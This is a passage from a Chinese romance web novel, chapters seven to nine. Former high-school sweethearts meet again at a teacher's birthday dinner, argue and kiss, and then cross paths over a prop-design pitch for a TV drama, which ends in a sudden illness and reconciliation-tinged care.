《无声炽热[破镜重圆]》
7.第七章
chapter 07
他一贯张扬桀骜,不带掩饰,这话反问意味明显,向安悦微怔,老师同学的表情也微妙起来。
沉默间,彭清时提唇轻笑了下,未置可否:“我刚好出差回来,微月说请我吃顿饭。”
傅蔺征看着他,没说话。
容微月觉得气氛奇怪,扯了下彭清时的衣袖,对旁人道:“那我们先走了。”
向安悦笑着拉住她:“微月、清时,好不容易老同学见面,今晚我们给兴章老师过生日呢,咱们一起吃吧?还能叙叙旧。”
向安悦曾经的同桌,名叫荷心的女人也走过来,笑:“对啊,大家都认识。”
老师们也邀请,夏斯礼挑眉看向傅蔺征:“阿征,我们定的包厢够大吧?”
傅蔺征看了眼容微月刚刚拉着彭清时衣袖的手,唇角扯起:“够大,容得下两位的二人世界。”
容微月攥着包,眼底泛起涟漪,彭清时见此,对容微月柔声道:“没关系,都是同学,那一起吃吧?人多热闹。”
于是一行人走上楼,容微月惊讶问彭清时:“你怎么就答应了?”
彭清时揶揄:“明显有人不想放你走,反正就一顿饭而已。”
俩人说着话,像是在咬耳朵的模样落在后方的傅蔺征眼里,夏斯礼见他看着,忍笑揽住他肩膀:“傅大少,是不是那二人世界挤到你了?”
傅蔺征冷脸:“闭嘴。”
夏斯礼压低声音:“那位彭同学和微月竟然从高中玩到现在,还是大学同学,那他们感情一定挺好呢!”
傅蔺征冷眼睨他:“最近在谈的安城广场项目,你公司不想要了?”
“卧槽你至于吗,小心眼……”
到包厢里,大家落座,老师们和同学们分开两桌,容微月看到同学那桌一侧的空位是傅蔺征旁边,一侧是隔壁班同学旁边。
“微月你坐哪里?”向安悦问。
她忽略某道灼灼目光,走去隔壁班同学旁边:“我坐这里吧。”
彭清时坐在她旁边,向安悦则坐去傅蔺征旁边。
傅蔺征把玩打火机,沉沉偏眼。
服务员递上菜单,徐兴章说让年轻人点,向安悦接过任务:“来份五福拼盘,鸿运当头,再来只清蒸松叶蟹,白灼九节虾……”
“哎呦,今晚是海鲜盛宴啊。”有同学调侃。
“老师过生日嘛,肯定要点点大菜。”向安悦朝傅蔺征腼腆莞尔,“傅蔺征我记得你挺喜欢吃海鲜?我多点点吧。”
傅蔺征:“我不爱吃海鲜。”
“啊?可是高中时我经常都看到他吃。”
夏斯礼打趣:“这就是你的误会了,高中是他女朋友海鲜过敏,他负责帮忙消灭。”
容微月闻言神色微顿。
她记起当初学校每周有餐补,如果是虾等海鲜容微月吃不了,就会全部丢到傅蔺征碗里,她太瘦,傅蔺征总管她吃饭,有次让她多吃个鸡腿不愿意,他懒道:“行,今晚放学多亲一个小时。”
她脸红在桌下踢他:“你这是威逼利诱……”
男生笑得混坏:“利诱啊?这么说来你挺愿意的啊?”
向安悦脸色微僵,抬头看向容微月。
谁不知道,当初傅蔺征唯一的女朋友是谁。
夏斯礼旁若无人问:“微月你想吃点什么?你这么瘦要多吃点。”
容微月回过神:“没事,你们点就好。”
服务员刚要走,谁知傅蔺征拿过菜单:“再加份干煸和牛粒,红油椒麻鸡球,还有青橘冻乳。”
向安悦微怔,笑笑:“还是你会点菜呢,这些听过去都挺好吃的。”
傅蔺征淡漠没理,去喝茶,容微月垂眼,发现莫名都符合她口味。
但他怎么可能是为她点的,她掐灭思绪用湿巾擦着手,突然手机进来房东的信息:
【在家吗,我现在带人过来看房。】
她微皱眉,回复:【不在家,要等九点后。】
之前都规定过,看房要提前两个小时说,这样临时通知让谁有办法配合。
房东:【周末还不在家?你现在回来一趟吧,或者我拿钥匙先开进去。】
她觉得可笑:【合同规定看房必须我在场,你没经过我同意强行闯入我就直接报警,房子里很多我重要的文件,丢了你也说不清的。】
不管那头如何叨叨,她按灭屏幕不再理。
菜陆续上齐,服务员最后又端来一份拼盘,道:
“傅先生和我们老板是朋友,傅先生说今晚的单都记在他账上,这份年年有余拼盘是老板赠送的,祝各位用餐愉快。”
“卧槽不愧是征爷,大气啊!”
徐兴章说说好他请大家吃饭的,傅蔺征直接收了小票:“老师给您过生日,就一点心意。”
夏斯礼打趣:“大家别跟阿征抢,他身上除了钱就是钱,这个逼让他装。”
大家笑,随后切蛋糕先庆祝,容微月去敬:“徐老师,抱歉我没准备礼物,等下次见面给您补上,祝您工作顺利,身体安康,桃李满天下。”
徐兴章让她不用那么客气,笑笑:“当初体育课我最担心微月,书读那么好,生怕你体育成绩不好耽误了高考成绩,也希望你工作顺利,越来越好。”
容微月含笑应下,彭清时也祝贺,老师笑着与他碰杯,坐下后大家动筷,彭清时给容微月夹菜:“来,尝尝这个鱼。”
“谢谢。”
她用筷子把姜丝拨到旁边,面前转来道时蔬羹,彭清时给她舀,她正要喝,然而对面传来道冷淡的嗓音:
“加了虾仁。”
容微月懵然抬头,对上傅蔺征的眸,同学说这是虾仁时蔬羹,彭清时反应过来她过敏忙道歉,容微月说没事,“我自己夹就好。”
荷心笑问:“微月,好久没见你了,毕业后你也回来京市了?现在在做什么啊?”
“花丝镶嵌,自己开工作室。”
“这样啊,”荷心拉住闺蜜向安悦,“悦悦也厉害呢,中央美院高材生,现在是个画廊主理人。”
向安悦浅笑:“才刚开始呢,微月,你开的花丝镶嵌工作室叫什么啊?”
“晴月阁。”
“晴月阁?”向安悦诧异,“我最近在给一部剧做美术指导,你们是不是在竞争道具的制作?”
容微月微愣:“《霜雪吟》吗?”
“是,这么巧,没想到我们要从同学关系变成甲乙方关系了呢。”
容微月也没想到。
所以给制片人推荐翠安的,是向安悦……
向安悦含笑抿了口茶:“不过微月,你的工作室规模太小了,像翠安那种老牌大厂各方面都比你们好,我还是挺佩服你的勇气敢和他们竞争的。”
容微月神色不变:“合作都是争取来的,总要试一试。”
向安悦笑笑:“早知道你是老板,我肯定会帮你美言几句的,对了你还不知道吧,明恒影业就是这部剧的出品方,是傅蔺征负责的。”
向安悦知道她不方便求情,看向傅蔺征,“傅蔺征,你还不知道吧,那个晴月阁之前……”
男人懒声直接截断:“我接手后都做过调查,不需要别人介绍。”
向安悦僵了神色,提唇:“这样啊。”
“微月很厉害,都是能靠实力取胜,也不需要谁帮忙。”夏斯礼道。
荷心打趣:“是啊,微月之前是我们年段又漂亮学习又好的,不然也不会让人追了那么久。”
大家表情微妙,篮球队里有黑皮男生嘀咕:“诶,我记起来了,征哥和微月之前谈过恋爱吧?!我记得在百日誓师大会上征哥说了句‘几千条聊天记录不如两张同市大学的录取通知书’,他下课不打篮球都去做作业了……”
他话音未落,桌下夏斯礼踹过去,男生疑惑摸摸头:“怎么了?不是吗?”
夏斯礼:“……”
这人比他牛。
容微月心头绷紧,浑身像是被裹了黏腻的雾,荷心叹气:“好可惜……本来以为你们会一直在一起的。”
容微月对上周围的目光,淡声开口:“我们高中毕业就分手了,已经分了很多年了。”
对面的男人看过来。
眼皮褶皱,黑眸沉沉如隼。
向安悦笑着出来打圆场:“都过去了,没必要再提啦,每个人不同阶段喜欢的人很正常,我记得微月之前说她喜欢绅士温柔、温文尔雅的男孩子,我当时就觉得清时很符合呢?当初在校外机构,他们俩可是天天黏在一起画画。”
彭清时看容微月表情不好,解释道:“就是一起上课而已,向安悦你别乱说话。”
荷心戏谑:“我可听说,当初微月可以去央美的,后来却了中国美院,不会是因为彭清时吧?”
容微月神情一冷:“我们只是朋友。”
“微月,这里都没有外人,你不好意思什么嘛哈哈哈哈哈哈。”
荷心正笑着,“砰”的一声在耳边炸开。
像是巨石投入湖中惊涛四起,吓得这桌突然安静。
傅蔺征手扶着用力扣在桌面的酒瓶,掀起眼皮看向荷心和向安悦,黑眸锋利冷厉,压迫感横生:
“吵够了么?”
鸦雀无声如死寂般。
所有人都知道大少爷发火了。
两人脸上笑容僵住,后背冒汗,戏谑的声音卡在喉咙口。
几秒后,傅蔺征捞起打火机和烟盒,起身走出包厢
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,夏斯礼说他出去抽个烟,彭清时道:“我和微月从高中到现在,就是多年朋友。”
荷心嘴角抽动:“是吗,那感觉你们……”
容微月面色无澜开口:“你感觉什么?我和你熟吗?轮得到你感觉?”
荷心呆住:“……”
“既然这么喜欢聊私生活,不妨也说说我听到的你当初脚踏两只船的事?还是考试作弊被抓的事?”
“……”
夏斯礼噗嗤笑出声,“荷心,你的故事可比别人精彩多了啊!向安悦你还研究别人呢,你知道你同桌这些事吗?”
荷心和向安悦脸色发青,说不出话。
气氛太僵,过了会儿其他同学出来打圆场,带走了话题,有人去给老师敬酒,容微月没了胃口,对彭清时道:“我去趟洗手间。”
“好。”
室外夜色朦胧,容微月走出包厢,垂眸吐了口气。
她今晚就不该答应来这场饭局的。
下楼穿过假山丛林,尽头处是洗手间。
走到镜子前,她看到自己一身水青色古董毛衣长裙,一阵风吹过,她拢紧白绒披风,冷白的脸上只有唇瓣淡淡胭红。
缓了许久的心情,她原路折返,正往前走,突然就看到傅蔺征在前方,指尖猩红明灭,逼近一米九的颀长身影拓落如落了雪,气场掩不掉张扬。
他按灭烟,直直朝她看来。
没想到又遇到她,容微月低头走过去,不打算打招呼,谁知路过他身边,手腕却被牢牢攥住。
她怔住,下一刻被他拉到一面假山石墙后。
四下无人,周围只剩下水流声潺潺,皎皎月光洒在石壁的藤蔓上。
他朝她走近一步,抬手掐住她纤细腰肢,把她困在领地范围。
冷冽的蓝莓薄荷烟草味和酒精味萦绕周遭。
“傅蔺征,你干什么……”
“喜欢绅士温柔、温文尔雅的?”
傅蔺征看她的眼神如滚了火,沉哑嗓音重重砸在她耳畔:“彭清时那样的是么?他出差回来你给他接风,全程说说笑笑,高中时候你就经常在我面前提起他,怎么,他才符合你的择偶标准?”
压抑了一整晚,从重逢克制到现在。
他再也藏不住,宽大的臂膀像两堵墙把她牢牢锁住,动弹不得。
“傅蔺征,你松手!”
他大掌箍住她下巴,让她被迫扬起脸,他黑眸炽热翻滚,快要在她脸上烧出洞:
“为了他改志愿去杭市的是吗?你就那么喜欢他?为了他你放弃自己的前途?”
傅蔺征一只手臂就能完整圈住她,掌心隔着旗袍瞬间烫进她的腰窝,从前她就被他这样抱着撞到shi神颤dou,大雨淋漓,趴在他肩头哭哼求饶。
男人的情绪突如其来,如同海啸汹涌而来,容微月拧眉瞪去,讨厌这样的他:
“我现在喜欢谁关你什么事,我去哪儿读书也不关你的事,傅蔺征,我已经和你分手了,我怎么样和你没关系。”
他扯起唇角,“是么?那当初是谁说说好喜欢我,是谁说要和我一起在京市读书,老子什么都想做到你满意为止,你有心么,耍我很好玩?!”
容微月眼眶像落了片枫叶,鼻尖泛酸:“高中时谁没有说过傻话?我怎么样和你无关,反正彭清时就是比你好,至少人家不会这样……”
傅蔺征的吻直接落了下来。
强烈的气息滚烫热烈,辗转碾压间凶狠又霸道,男人掐着她腰,一手扣住她的后颈,勾着她的舌纠缠,掠着她口腔每一寸气息。
耳畔突然传来彭清时的声音:“微月?”
对方下楼来找她,一墙之隔,看不到他们在纠缠。
她口袋里手机响起,带着她心尖发颤,所有呜咽都被傅蔺征吞入腹中。
直至彭清时走远,傅蔺征放缓一下一下吻她,铺天盖地的情绪太过复杂,可他像是掌握她的开关,有一瞬间她像是本能般不受控沦陷,可下一刻,她强制自己回过神,贝齿重重用力。
血腥味在唇间蔓延。
她一把推开他,一个巴掌落了过去。
傅蔺征垂着脸,额前的黑色碎发遮挡住他的眼。
“傅蔺征你是不是有病?”
回忆排山倒海,容微月不敢去想,徒留眼眶泛酸,瞪着他:“我喜欢谁都和你没关系,反正我特别特别讨厌你……”
周遭无人,格外寂静。
头顶的月色躲在乌云后。
几秒后傅蔺征侧过头,薄唇挂着她咬出的血。
他看着她冷漠的眼,黑眸渐渐染上血色,舔了舔唇上的血,扯起唇角轻笑,嗓音喑哑:
“你那么讨厌我,当初为什么要和我在一起。”
8.第八章
chapter 08
高中时,傅蔺征追容微月追得轰轰烈烈。
当初她喜欢小提琴,他清晨就接她去学校练琴,给她买早餐守在琴房外等她,去国外为她定制最好的小提琴;她一句想看海,他就带她飞去海边,为她放满天烟花;她被校外男生纠缠,他上去一挑四把人揍到头破血流,自己快站不起来,眉骨碎裂生缝了八针。
容微月想要什么,他都会为她实现。
哪怕是天上的星星,他都想不顾一切去摘。
曾经她第一次松口同意傅蔺征送她回家,见她不开心,跑了一公里给她买了爱吃的青橘糯米团回来哄她。
那天梧桐树旁昏黄的路灯下,傅蔺征俯身看她,收了满身的肆意拽懒,声线低哑温柔:
“容微月,我没追过女孩子,这是正儿八经第一次追人,你教教我该怎么样能让你开心好不好?我不想惹你讨厌。”
傅蔺征从小活得顺风顺水,想要什么都有人捧到他的面前,什么贵的东西他都不稀奇,可面对她就像面对全世界最珍贵的宝贝,小心又珍视。
后来在这个世界上,她再没有过遇到这样的人。
假山后方流水声潺潺,夜色昏暗,只剩回忆在眼前如雪纷飞。
容微月闻言,偏开眼,紧绷的喉间几秒后漫出苦涩几字:“都过去这么多年了,早就忘了,现在再纠缠还有意义吗。”
傅蔺征眼睫抖动,须臾后轻笑:“是啊,当初说散就散,跟过家家一样,是没什么意义。”
容微月没说话,男人看着她眼底猩红:“当年分手你说的话我还记得很清楚,你想多了,哪来的纠缠,我恨你都来不及。”
他走近一步,自嘲一笑:“就当我刚刚我喝多了,曾经的征服欲作祟罢了。”
容微月站在原地,眼眶覆了层雾。
傅蔺征收回冷沉的眼,擦肩而过离开。
夜色凉如水,冷风穿过枝桠卷落几片迟黄的叶,高空的那轮白月被厚云遮住,只余一圈冷淡的晕光透下,仿佛连空气都凝着凉意。
半晌,容微月回到了包厢,饭局已经临近尾声,但同学们还组织了下半场的K歌。
彭清时看到她:“你去哪儿了?找你半天。”
她垂眸扯谎:“刚刚肚子有点不舒服。”
“没事吧?是不是吃了什么东西,要不要去医院看看?”
她摇摇头,转眼看到傅蔺征和老师们道别,朝门口走来。
而后无视她般,走出了包厢。
她敛了敛神,对彭清时道:“我去和老师们说声,我们也先走吧。”
“好。”
另一头,傅蔺征走下楼,夏斯礼见他喝酒,拿了他的车钥匙去开车。
餐厅门口,傅蔺征一身黑,倚着红墙点上根烟,头顶投下的阴翳冷冷沉沉,吞云吐雾间,一个温柔女声传来:“傅蔺征——”
向安悦和荷心走过来,到他面前,前者柔声道:
“傅蔺征,对不起啊,今天我们就是同学开个玩笑,冒犯到你了,对了我想和你讨论下《霜雪吟》这部剧的事,你有没有空啊?”
向安悦腼腆笑:“我在这方面挺有想法的,你也是出品人,刚好大家要去唱歌,咱们一起去吧?还能聊一聊。”
傅蔺征吐了口烟,冷眼看去:“现在是工作时间么?有想法和你的领导汇报,我需要和你聊?”
向安悦笑容僵住,如感觉被扇了个巴掌,荷心偷偷拽住她手,俩人离开,傅蔺征冷声在后方响起:
“站住。”
俩人怔住,回头就听傅蔺征薄唇吐出几字:“警告你们,今天是最后一次。”
她们对上他阴鸷冰冷的眼:“以后我再听到你们议论传播容微月的私事,你们在校友圈里就别想混了,老子说到做到。”
如冷水浇头灌下,向安悦和荷心面色难堪僵白,傅蔺征按灭烟头,把两人丢在原地,走向开来的布加迪。
上了车,车子开车。
冷风强势灌入,傅蔺征再度点上烟,看着窗外。
“傅蔺征,我们都是三分钟热度的人,我从来没把你的喜欢当回事,大学想谈新的恋爱了不行么?你别来找我了。”
“傅蔺征,我们不会有结果的,从今以后我们各奔东西,你放过我吧。”
回忆在耳边飘荡,男人喉间干涩,吐了口白雾,赤深的眼底一点点沉如深海。
……
另一头,容微月和老师们先行道别,和彭清时走下了楼。
彭清时说送她回去,她婉拒:“我想一个人坐公交回去,你先走吧。”
彭清时见她情绪格外低落,欲言又止,“好,那你到家给我发个信息,注意安全。”
容微月走到公交车站,上车坐在窗边的位置出神,半晌看到有几个高中生走在路边,说说笑笑,追逐打闹,走在最后的男生偷偷给女生围好围巾,女孩朝他腼腆一笑。
“容微月,把围巾戴好,你感冒了心疼的还不是老子?”
“容微月,你不是喜欢看极光,等明年大一冬天,我们一起去挪威的特罗姆瑟好不好。”
“容微月,新年快乐,你男朋友想你了。”
“容微月……”
曾经许多画面浮现在眼前。
眼前如浪在拍打,容微月揉了揉微酸的眼睛,带着隐形眼镜片的琥珀眸子模糊映照着窗外一节节路灯。
下了车,她慢慢走回小区,安静的楼道里,冬风从楼道缝隙里钻进来,她一脚一脚拖着走上,一节节感应路灯慢慢亮起。
打开家门,开灯没反应,她去小区物业群里一看,电路维修,又断电了。
漆黑中,她打开手机手电筒去到卧室,点亮床头的充电台灯。
房间里落针可闻。
只剩下她孤身一人。
她窝坐在床边,推开衣柜,拿出里头的黑色盒子,里头是把漂亮的小提琴。
乌木漆面泛着温润的光泽,琴头刻着个弯弯的月亮,隔着微弱的光,她看到小提琴尾部,浅雕着一段撒着银粉的英文。
To my princess(给我的公主):
Don’t be afraid,when the sun sets, the moon still shines.——FLZ
不要怕,太阳落下有月光。
微光也能照前方。
姐姐留给她的那把琴被人弄坏了,这是后来傅蔺征为她定制的小提琴,说全世界只此一把,这琴就代表他永远守在她身边。
英文的刻痕渐渐被磨得圆润。
她敛睫摩挲,眼底刺痛濡湿。
琴还在,可她早就弄丢他了。
-
晚上容微月吃了唑吡坦,仍然难以入睡。
翻来覆去到凌晨三点多,她昏昏沉沉入睡,谁知第二天八点多,一阵大力的敲门声响起,让她瞬间惊醒。
脾气濒临爆发的边缘,她强撑着身子爬起开门,发现是房东赵鑫和一对陌生男女,他语气不善,说带人来看房。
她脸色沉沉:“一大早你问过我吗?”
“小姑娘,你几个意思,我昨晚提前给你发信息了,你别说我没提醒你,你态度怎么这么差?”
昨晚电到半夜才来,她手机早早没电关机了,她一看,确实发了信息。
忍下怒火,同意他们进来,陌生情侣看完不太满意,赵鑫见又吹了一单,不爽地把火撒到容微月头上,说昨晚有个买家非常中意想过来看房,就因为她没在家,对方就去找了同小区的别户。
“反正你下周就赶紧给我搬走!!”
他骂骂咧咧摔门离去,容微月了无困意,心头烦躁。
现在房子还没找到,她必须抓紧时间。
中午殷绿来找她吃饭,说到时候容微月先搬到她公寓,虽然离工作室远了点,但可以过渡一下。
吃饭时,殷绿刷到朋友圈正好有个招租视频,“诶这个房子不错啊,宝这个房子你觉得如何?”
视频里是个大平层,温馨的米色家具和原木风装潢,落地窗视野开阔,光线充足,阳台还有个小花园,地点还正好就在她工作室附近,开车不到十分钟。
容微月抬头一看,发朋友圈的竟然是夏千棠。
夏斯礼的亲妹,曾经高中她的好朋友,去年回国她们有出去吃过饭,只是平时都忙所以联系少了些。
殷绿说这简直就是梦中情房啊,容微月也很喜欢,赶紧去问,那头回来电话说房子还在:“挺便宜的,一个月只要三千五,周边设施齐全,还是新的楼盘,我是帮蔺征哥挂的出租信息。”
她听到最后一句愣住:“……傅蔺征?”
“对呀这就是他的房子,他说最近生意资金需要周转,打算出租个十来套,你要感兴趣,我下午带你去看看呗?”
“……没事不用,我再看看。”
挂了电话,殷绿疑惑:“傅蔺征那么有钱还需要租房啊?”
容微月也不知道,殷绿给她敲锣打鼓:“不过傅蔺征总比你现在这个房东好吧,你要不去问问?”
容微月想到那晚他说的话,敛睫摇头:“算了,他知道是我,估计也不愿意租。”
他们现在的关系,也不适合再产生交集。
新一周,她在工作室赶工,晚上因为太忙,没回去就直接在办公室打地铺,两天后,关于《霜雪吟》道具的策划案出了细致版本,她也不幸感冒了。
早晨她把文件发给道具组的负责人,那头道:“上头通知了,所有的策划案要给出品人亲自审核。”
亲自审核……
她怔愣应下。
工作归工作,容微月没想太多,中午随便拿了个面包就赶去明恒集团,到楼下,前台帮忙询问后道:“助理说,傅总今天有个重要会议,需要您要等等。”
“好,没关系。”
她坐到沙发上,手里紧紧
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握着杯热水,咬着干巴的面包,一身灰蓝色毛衣长裙衬得身影单薄,长发铺散在肩头,面容苍白,拧眉轻揉着隐隐作痛的肚子。
两个小时后,她没等到人,“您好,可以帮我问下傅总有空了吗?”
前台问后道:“傅总开完会了,但是还有个特别重要的视频会议,不好意思啊。”
她低声应下。
不知道他是不是故意不想见她。
过了会儿前台过来道:“傅总今天事情太多了,不好意思,要不然您先回去?”
腹部传来隐隐的疼痛,她忍着道:“没事,我再等等吧。”
她想无论如何,都要让他看到策划案。
又等了会儿,她终于看到傅蔺征走出来。
男人剑眉星目,一米□□的个子拓落挺拔,肩颈线又宽又平,他步履不停,身后还跟着几个助理,气场矜贵淡漠,仿佛写着生人勿进。
他走来掀起眼皮,视线落向她。
不知道她在这里,他眼神微动。
容微月看到他,立刻起身走过去:“傅总,我们晴月阁做好了具体的道具设计方案,请您过目。”
看她疏离的模样,傅蔺征眼里冷了几分:“现在没空。”
车队那边十几号人等了他一天,疯狂催逼,叫他去训练。
容微月捏紧文件:“不会耽误您太久时间的。”
他扯起唇角,低头看她:
“容微月,你凭什么还觉得我现在会同意剧组和你合作?”
她神色绷紧,保持平静道:“我相信傅总公私分明,这方案您一定会满意的。”
头顶落下声嘲讽的轻笑。
容微月跟着他走出明恒大厦,一辆炭黑色的柯尼塞格停在门口,傅蔺征从助理手中接过车钥匙,拽冷的眸睨向她:“行啊,我要去车场训练,路上有二十分钟,上车。”
她呆住,他掀开柯尼塞格的蝴蝶门:
“怎么,不敢坐?”
她敛眸,走过去,踏进了副驾驶座。
傅蔺征上车,启动车子,很快柯尼塞格汇入路上的主车流,低底盘如匍匐在地上嘶吼咆哮。
他冷如墨的眼目视前方,单手搭在方向盘上,脚下却不断轰着油门。
他平时驾驭着世界上最快的赛车,在最危险的道路以将近250公里每小时的速度疾驰,所有的车他都驾驶得游刃有余又极致狂野。
车道不断变化间,他流畅地超过一辆辆车,容微月坐在副驾,强烈的推背感让她肾上腺素飙升,心脏仿佛要跳出了嗓子眼,连一句话都发不出。
过了会儿,柯尼塞格在一个路口拐弯,驶上一条山路,路途盘旋蜿蜒,大拐弯一个接着一个。
“不是要介绍么,你只剩下十分钟。”
傅蔺征开口。
容微月握着文件的指尖泛白,几秒后努力翻开第一页道:“针对于男女主各自身份和唐朝背景,我们打算给男主设计一顶金丝云冠顶……”
山路七拐八弯,翻江倒海的眩晕感上涌,她手压着纸张边缘,一边咳嗽一边念着,强撑着没有停下。
傅蔺征听着她颤抖的字音,眼底沉沉,几秒后一把夺走她手里的文件。
她转头看他:“我还没念完。”
“你想念你以为我想听?”
“傅总,这不是你的要求么?”
腹部莫名传来钻心疼痛,她额头冒出汗珠,紧紧捏着安全带。
很快车子停在了山腰的训练车场的大门。
傅蔺征转头却看到她脸色惨白,蜷缩着身子。
一瞬间,他心脏重重坠地,迅速下车,打开她那侧的车门,眉峰蹙起:“你怎么了,哪里不舒服?”
“我没事,”容微月一把推开他下车,“你让开。”
可疼痛感根本让她站不稳,傅蔺征试图抱她,被用尽全力推开:“我不要你抱,你放开我……”
他臂弯将她箍得更紧,她气得咬了下他手腕。
几乎是下了最狠的劲儿,鲜血瞬间冒出。
傅蔺征手微松的瞬间,容微月甩开他,后退几步,靠墙疼得滑下身子,瞪向他,清冷决绝的眸子淌下道泪痕,声音哽咽:
“傅蔺征……你不是说恨我吗?”
“看着我这样,不是正合你意。”
傅蔺征看着她落下的那滴泪,像是一把刀,用力扎进他的心口扭着,再血肉模糊扒出,疼到撕裂。
他曾经许诺过她,以后不会让她哭的。
他想她和他在一起的每一天都过得很开心,他会为她摆平所有的问题,擦干她所有的眼泪,让她一辈子快乐平安,顺遂无虞。
可是现在,他发脾气惹她哭了。
她肯定恨透了他。
傅蔺征眼眸滚烫,走过去,半蹲在她面前,抬手小心翼翼抱起她,抹掉她眼泪,低哑的嗓音落进尘埃里,像从前般温柔唤她小名:
“月月,你先告诉我,你哪里疼好不好。”
9.第九章
chapter 09
最后傅蔺征抱着容微月去了车场的医务室。
这里都是他专业团队,医生给容微月检查后道:“应该是急性肠痉挛,感冒后没有好好吃饭,肠胃虚弱,又受到刺激引发了感神经应激反应,一定要好好休养,可别再折腾了啊。”
傅蔺征想到刚刚,愧疚得眉峰紧锁,喉间发涩:“严重么?”
“没什么大碍,先吃点药,有什么用药过敏吗?”医生问。
容微月欲开口,傅蔺征直接道:“她对头孢过敏,还有阿司匹林。”
她怔了怔。
这些她从前只和他提过一次,他是怎么记得的……
男医生目光在俩人之间转了一圈,眉梢微挑,说去配药,走后,傅蔺征倒了杯温水给她:“先喝点水。”
容微月接过小口吸着,小脸还白得憔悴,傅蔺征哑声问:“现在还很疼么。”
她没看他:“好一点了。”
“我叫助理送来粥了,喝点后再吃药。”
容微月淡淡应了声,傅蔺征让她躺下来休息,手机来电,他走出去接起,是集团的人给他汇报情况:
“前台说,容小姐在门口等了四个小时,中途有叫她先回去,她没走。”
小姑娘疼着肚子等了他这么久……
傅蔺征脸色极差,“为什么她来没有通报?”
“抱歉傅总,因为您之前说过开会的时候不希望被打扰,除非有紧急情况……”
“所有和她有关的都是紧急情况。”
他语气沉冷:“下次她来第一时间通报。”
“好的傅总……”
很快助理怀裕把粥送来,是刚刚连忙下山买的,医生也配好了药拿来,揶揄嘱咐:“她太瘦了,体质这么虚很容易生病,要心疼,还是得好好照顾着。”
傅蔺征沉默,门口跑进来几个年轻的车队人员:“征哥,我们听说你带一个女的来了?!”
刚刚老大抱着一个女人冲去来医务室的事已经在车队里炸开了,几人赶来一睹真容,看了进去:“欸,那不是嫂子?!”
高中时傅蔺征经常带容微月来训练,车队的人都知道这是他追了好久特别喜欢的女孩,但不知道怎么回事上大学就分手了,后来傅蔺征就像变了个人,发了疯一样训练比赛,像是要把所有的注意力转移到事业上,身边连一只母蚊子都找不到。
本来大家以为他今儿是铁树开花,谁知道还是曾经的那个女孩子,这么看来,还是有故事啊。
“哥,这是什么情况,你和嫂子破镜重圆了?!”
几人习惯了还这么叫容微月,只是她之前在傅蔺征这儿是最大的禁忌,没人敢提。
男人挡住几人的视线,眼睛微眯:“前翼改装调教好了?这么闲?”
“哦,那看来是没重圆。”不然以傅蔺征这性格,不得嘚瑟得敲锣打鼓全车队拉横幅宣传?
几人起哄:“哥,嫂子就在眼前,机会转瞬即逝,你加油啊,追完人赶紧来训练。”
傅蔺征踹了他们一脚,让他们滚。
几人走后,他看着手里的药和粥,推门进了病房,容微月睁开眼,他走过去:“起来吃点东西。”
她虚弱地坐起身,傅蔺征把粥和小菜摆到她面前,又把药和水摆在一旁。
看到是寡淡的白粥,她用勺子慢慢搅动着,半晌傅蔺征的无奈嗓音落下:“都搅成汤了还不吃?不然我喂你?”
她闷声道:“不用,我自己吃。”
毫无胃口,容微月没动小菜,舀着粥机械般往嘴里送,跟吞铁一样,傅蔺征见此无奈走出病房,回来时拎着个冬瓜糖罐:“配点这个?”
从前有次她在学校生病,只能喝粥,她什么都不想配,唯独想配冬瓜糖,当时傅蔺征跑去校外的超市买了糖赶回来,朋友就看到向来不可一世的大少爷,在一个女孩子面前,跟哄小朋友似的哄她多喝一口粥。
后来傅蔺征的课桌抽屉里都会放着罐冬瓜糖以备不时之需,只是她没想到这么多年过去他这里还有,她微怔点头,加了糖,粥甜丝丝的,让人有了胃口,她喝了几口淡声道:“你不是还要去训练吗,你去忙吧,不用管我。”
他偏开眼,故作随意道:“车有问题,还在维修。”
容微月没再说话,傅蔺征拿走她的策划案:“这个我会看的。”
她轻轻应了声。
末了她喝完粥吃了药,躺下来休息,他也出去了。
肚子痛感渐渐消失,迟些时候外头夕阳漫天,容微月恢复过来,下床走出病房,却看到傅蔺征还坐在门口,手里拿着策划案,弓背压低,逆天长腿微敞,鸭舌帽盖住眼底的冷拓。
傅蔺征刚刚去训练后又回来了,看到她,合上文件,起身走来,“怎么不多躺会儿。”
“我好多了,没什么事。”
男人示意了下策划案:“你写的我看了,创意很好。”
“谢谢。”
昏暗的室内,只剩一道浅浅的金光透过侧门的高窗户投在他们脚边。
安静须臾,薄荷蓝莓的烟草味在空气弥漫,男人高大的身影挡在面前,沉哑声音落下:“抱歉,刚才车开太快了。”
“没事,是我自己身体不舒服,”容微月敛睫,“我先回去了。”
她要走,手腕被轻轻攥住。
“我送你。”
容微月垂下的视线顿住,正好落向他的左手腕口。
七岁那年,她开始学做花丝镶嵌,容承业就教她用皮老虎焊接,当时她力气太小,皮老虎没拿稳,左手腕口就烫了下,她疼得直掉眼泪却被父亲逼着不许哭。
后来伤口结痂,留下一个月亮形状的疤痕,她觉得很丑,就老是用手或者衣服故意遮着,傅蔺征得知后,什么都没说,第二天却在相同位置刺了个月亮刺青,和她说着,笑意懒拽:“丑什么,这月亮多好看,老子也刻一个,以后我们牵着手走出去,不是一眼就能看得出来是一对?”
那刺青在离脉搏跳动最近的位置,如今却不见了。
他早已放弃了这段感情吧。
容微月敛睫,“不用,你忙你的吧。”
他直直看着她,眼底深沉。
沉默间,只剩墙上的钟摆滴答答。
容微月抽回手,轻声道:“傅蔺征,我知道你恨我,每次见面我们都弄得不欢而散,你放心,以后除了工作外,我会和你保持距离,尽量不出现在你面前。”
傅蔺征看向她,喉间如含了沙。
手臂的咬痕再度隐隐作痛。
她疏离颔首走出医务室,往门口走着,正在手机上叫车,一辆黑色奔驰大G开来,助理下车:“容小姐——”
她看过去怔住。
这不是上周来工作室订了贺礼大单的人吗?
“征哥让我来送您,这附近没公交,打车也不好打,”怀裕为难道,“他说我要是没把你送回去,我明儿也别来了,您就让我交个差吧。”
手机的确一直叫不到车,她只好应下。
上车后,容微月看了几眼副驾的怀裕,戳破沉默:“所以上周那个寿桃订单,是傅蔺征让你来下单的吗?”
怀裕摸摸头,笑笑:“是,不过征哥的确打算送给他爷爷一个生日贺礼,他不让您知道,我、我刚刚应该戴个口罩的。”
“不用,你眯眯眼,特别好认。”
“……”
她敛神解释:“我的意思是,眯眯眼帅得很有辨识度。”
“……”
怀裕干笑了笑,转移话题:“傅总后天有比赛,今天董事会临时有好几个重要会议,他把训练推到了下午,今晚还要赶去外地,行程很满。”
“刚刚您出事,他抱着您冲去医务室,我还以为他是开车把人撞了。”怀裕调侃,却忍不住道,“容小姐,我从来没有看到他那么慌过,哪怕是在比赛场上。”
